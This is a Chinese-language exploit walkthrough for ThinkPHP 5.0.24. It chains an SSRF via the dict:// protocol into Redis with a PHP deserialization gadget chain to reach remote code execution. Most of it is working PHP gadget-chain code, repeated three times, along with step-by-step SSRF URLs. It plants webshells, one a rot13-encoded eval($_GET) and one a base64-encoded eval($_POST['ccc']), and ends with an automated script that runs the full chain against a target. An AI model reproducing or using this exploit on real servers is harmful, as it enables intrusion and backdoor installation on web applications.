本文技巧概括 (作者理解):
通过 ssrf 将 thinkphp 5.0.24 反序列化链写入 redis 缓存,再让 php 反序列化 redis 缓存中的序列化内容进行命令执行
# 测试环境
# 框架:
thinkphp 5.0.24
# 代码简介:
geturl 操作为 ssrf
getname 操作为加载 redis 缓存并 dump 出来

我们现在需要做的就是 redis 缓存里面的序列化内容拿到 php 里面执行,从而 getshell
# 第一步:
序列化我们的 exp
观众提问:为什么上来就是序列化?
回答:因为 thinkphp 在 redis 获取代码中,存在反序列化操作,发现如果以 think_serialize: 开头的内容就会触发反序列化操作,所以我们要将序列化好的内容写进缓存,然后再进行 redis 读取操作反序列化。

创建 /ccc/ 目录 exp:
exp 制作请自行搜索:thinkphp 5.0.24 反序列化
<?php | |
namespace think\process\pipes; | |
use think\model\Pivot; | |
class Pipes{ | |
} | |
class Windows extends Pipes{ | |
private $files = []; | |
function __construct(){ | |
$this->files = [new Pivot()]; | |
} | |
} | |
namespace think\model;#Relation | |
use think\db\Query; | |
abstract class Relation{ | |
protected $selfRelation; | |
protected $query; | |
function __construct(){ | |
$this->selfRelation = false; | |
$this->query = new Query();#class Query | |
} | |
} | |
namespace think\model\relation;#OneToOne HasOne | |
use think\model\Relation; | |
abstract class OneToOne extends Relation{ | |
function __construct(){ | |
parent::__construct(); | |
} | |
} | |
class HasOne extends OneToOne{ | |
protected $bindAttr = []; | |
function __construct(){ | |
parent::__construct(); | |
$this->bindAttr = ["no","123"]; | |
} | |
} | |
namespace think\console;#Output | |
use think\session\driver\Memcached; | |
class Output{ | |
private $handle = null; | |
protected $styles = []; | |
function __construct(){ | |
$this->handle = new Memcached();// 目的调用其 write () | |
$this->styles = ['getAttr']; | |
} | |
} | |
namespace think;#Model | |
use think\model\relation\HasOne; | |
use think\console\Output; | |
use think\db\Query; | |
abstract class Model{ | |
protected $append = []; | |
protected $error; | |
public $parent;#修改处 | |
protected $selfRelation; | |
protected $query; | |
protected $aaaaa; | |
function __construct(){ | |
$this->parent = new Output();#Output 对象,目的是调用__call () | |
$this->append = ['getError']; | |
$this->error = new HasOne();//Relation 子类,且有 getBindAttr () | |
$this->selfRelation = false;//isSelfRelation() | |
$this->query = new Query(); | |
} | |
} | |
namespace think\db;#Query | |
use think\console\Output; | |
class Query{ | |
protected $model; | |
function __construct(){ | |
$this->model = new Output(); | |
} | |
} | |
namespace think\session\driver;#Memcached | |
use think\cache\driver\File; | |
class Memcached{ | |
protected $handler = null; | |
function __construct(){ | |
$this->handler = new File();// 目的调用 File->set () | |
} | |
} | |
namespace think\cache\driver;#File | |
class File{ | |
protected $options = []; | |
protected $tag; | |
function __construct(){ | |
$this->options = [ | |
'expire' => 0, | |
'cache_subdir' => false, | |
'prefix' => '', | |
'path' => './demo/', | |
'data_compress' => false, | |
]; | |
$this->tag = true; | |
} | |
} | |
namespace think\model; | |
use think\Model; | |
class Pivot extends Model{ | |
} | |
use think\process\pipes\Windows; | |
$aaa = "think_serialize:".serialize(new Windows()); | |
echo ~$aaa; | |
$file = fopen('test.txt', 'w'); | |
fwrite($file,~$aaa); | |
fclose($file); |
问:为什么要位取反
答:因为有些特殊字符无法正常通过数据流储存到 redis 缓存,所以得二次取反,第一次在这里,第二次在 bitop:not 中
# 第二步:
拼接 payload:
http://ip:8083/public/index.php/index/index/getUrl?url=dict://127.0.0.1:6379/set:zls:{序列化数据} |

# Dict 协议
dict://serverip:port / 命令:参数
向服务器的端口请求为【命令:参数】,并在末尾自动补上 \r\n (CRLF),dict 协议要一条一条的执行命令
问:为什么如此拼接
答:/index/index 为 thinkphp 的控制器路由,geturl 为 ssrf,只有 dict 协议能读到内容
# 第三步:
使用 BITOP 命令再次取反已经取反过的序列化内容,并将旧存储键 (zls) 中的内容存储到新键 (save) 中
http://ip:8083/public/index.php/index/index/getUrl?url=dict://127.0.0.1:6379/bitop:not:save:zls |
存储成功

# 第四步:
使用 Cache::store ('redis')->get ($name); 操作,用 php 读取 redis 数据,触发 php 读取 redis 操作中 get 方法的反序列化操作

用 php 访问 reids 中的内容并触发反序列化内容
http://ip:8083/public/index.php/Index/Index/getname?name=save |

成功创建目录 /ccc/

# 第五步:
在创建 /ccc 目录中写入 shell
写 shell 反序列化 exp:
<?php | |
namespace think\process\pipes; | |
use think\model\Pivot; | |
class Pipes{ | |
} | |
class Windows extends Pipes{ | |
private $files = []; | |
function __construct(){ | |
$this->files = [new Pivot()]; | |
} | |
} | |
namespace think\model;#Relation | |
use think\db\Query; | |
abstract class Relation{ | |
protected $selfRelation; | |
protected $query; | |
function __construct(){ | |
$this->selfRelation = false; | |
$this->query = new Query();#class Query | |
} | |
} | |
namespace think\model\relation;#OneToOne HasOne | |
use think\model\Relation; | |
abstract class OneToOne extends Relation{ | |
function __construct(){ | |
parent::__construct(); | |
} | |
} | |
class HasOne extends OneToOne{ | |
protected $bindAttr = []; | |
function __construct(){ | |
parent::__construct(); | |
$this->bindAttr = ["no","123"]; | |
} | |
} | |
namespace think\console;#Output | |
use think\session\driver\Memcached; | |
class Output{ | |
private $handle = null; | |
protected $styles = []; | |
function __construct(){ | |
$this->handle = new Memcached();// 目的调用其 write () | |
$this->styles = ['getAttr']; | |
} | |
} | |
namespace think;#Model | |
use think\model\relation\HasOne; | |
use think\console\Output; | |
use think\db\Query; | |
abstract class Model{ | |
protected $append = []; | |
protected $error; | |
public $parent;#修改处 | |
protected $selfRelation; | |
protected $query; | |
protected $aaaaa; | |
function __construct(){ | |
$this->parent = new Output();#Output 对象,目的是调用__call () | |
$this->append = ['getError']; | |
$this->error = new HasOne();//Relation 子类,且有 getBindAttr () | |
$this->selfRelation = false;//isSelfRelation() | |
$this->query = new Query(); | |
} | |
} | |
namespace think\db;#Query | |
use think\console\Output; | |
class Query{ | |
protected $model; | |
function __construct(){ | |
$this->model = new Output(); | |
} | |
} | |
namespace think\session\driver;#Memcached | |
use think\cache\driver\File; | |
class Memcached{ | |
protected $handler = null; | |
function __construct(){ | |
$this->handler = new File();// 目的调用 File->set () | |
} | |
} | |
namespace think\cache\driver;#File | |
class File{ | |
protected $options = []; | |
protected $tag; | |
function __construct(){ | |
$this->options = [ | |
'expire' => 0, | |
'cache_subdir' => false, | |
'prefix' => '', | |
'path' => 'php://filter/write=string.rot13/resource=./ccc/<?cuc cucvasb();riny($_TRG[pzq]);?>', | |
'data_compress' => false, | |
]; | |
$this->tag = true; | |
} | |
} | |
namespace think\model; | |
use think\Model; | |
class Pivot extends Model{ | |
} | |
use think\process\pipes\Windows; | |
$aaa = "think_serialize:".serialize(new Windows()); | |
$file = fopen('test.txt', 'w'); | |
fwrite($file,~$aaa); | |
fclose($file); |
# 第六步:
写入反序列化数据:
http://ip:8083/public/index.php/index/index/getUrl?url=dict://127.0.0.1:6379/set:zlsshell:{序列化内容} |

# 第七步:
# 第八步:
与创建 /ccc 目录操作一样,不过多赘述
http://ip:8083/public/index.php/index/index/getUrl?url=dict://127.0.0.1:6379/bitop:not:saveshell:zlsshell |
http://ip:8083/public/index.php/Index/Index/getname?name=saveshell |


# 第九步:
访问目录发现 shell,getshell

getshell

# 改良版本:
2024.2.4
1. 上面的版本只能 linux 使用
2. 步骤复杂操作麻烦
3. 写入路径,当前目录下的:a.php3b58a9545013e88c7186db11bb158c44.php 文件,密码 ccc,post 请求
更新了一下路由 url,效果一样
<?php | |
namespace think\process\pipes; | |
use think\model\Pivot; | |
class Pipes{ | |
} | |
class Windows extends Pipes{ | |
private $files = []; | |
function __construct(){ | |
$this->files = [new Pivot()]; | |
} | |
} | |
namespace think\model;#Relation | |
use think\db\Query; | |
abstract class Relation{ | |
protected $selfRelation; | |
protected $query; | |
function __construct(){ | |
$this->selfRelation = false; | |
$this->query = new Query();#class Query | |
} | |
} | |
namespace think\model\relation;#OneToOne HasOne | |
use think\model\Relation; | |
abstract class OneToOne extends Relation{ | |
function __construct(){ | |
parent::__construct(); | |
} | |
} | |
class HasOne extends OneToOne{ | |
protected $bindAttr = []; | |
function __construct(){ | |
parent::__construct(); | |
$this->bindAttr = ["no","123"]; | |
} | |
} | |
namespace think\console;#Output | |
use think\session\driver\Memcached; | |
class Output{ | |
private $handle = null; | |
protected $styles = []; | |
function __construct(){ | |
$this->handle = new Memcached();// 目的调用其 write () | |
$this->styles = ['getAttr']; | |
} | |
} | |
namespace think;#Model | |
use think\model\relation\HasOne; | |
use think\console\Output; | |
use think\db\Query; | |
abstract class Model{ | |
protected $append = []; | |
protected $error; | |
public $parent;#修改处 | |
protected $selfRelation; | |
protected $query; | |
protected $aaaaa; | |
function __construct(){ | |
$this->parent = new Output();#Output 对象,目的是调用__call () | |
$this->append = ['getError']; | |
$this->error = new HasOne();//Relation 子类,且有 getBindAttr () | |
$this->selfRelation = false;//isSelfRelation() | |
$this->query = new Query(); | |
} | |
} | |
namespace think\db;#Query | |
use think\console\Output; | |
class Query{ | |
protected $model; | |
function __construct(){ | |
$this->model = new Output(); | |
} | |
} | |
namespace think\session\driver;#Memcached | |
use think\cache\driver\File; | |
class Memcached{ | |
protected $handler = null; | |
function __construct(){ | |
$this->handler = new File();// 目的调用 File->set () | |
} | |
} | |
namespace think\cache\driver;#File | |
class File{ | |
protected $options = []; | |
protected $tag; | |
function __construct(){ | |
$this->options = [ | |
'expire' => 0, | |
'cache_subdir' => false, | |
'prefix' => '', | |
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php', | |
'data_compress' => false, | |
]; | |
$this->tag = true; | |
} | |
} | |
namespace think\model; | |
use think\Model; | |
class Pivot extends Model{ | |
} | |
use think\process\pipes\Windows; | |
$aaa = "think_serialize:".serialize(new Windows()); | |
$file = fopen('test.txt', 'w'); | |
file_get_contents("http://ip/public/index.php?s=index/Index/geturl&url=dict://127.0.0.1:6379/set:zls:".~$aaa); | |
file_get_contents("http://ip/public/index.php?s=index/Index/geturl&url=dict://127.0.0.1:6379/bitop:not:save:zls:"); | |
file_get_contents("http://ip/public/index.php?s=index/Index/getname&name=save"); | |
echo "http://ip/public/a.php3b58a9545013e88c7186db11bb158c44.php"; |
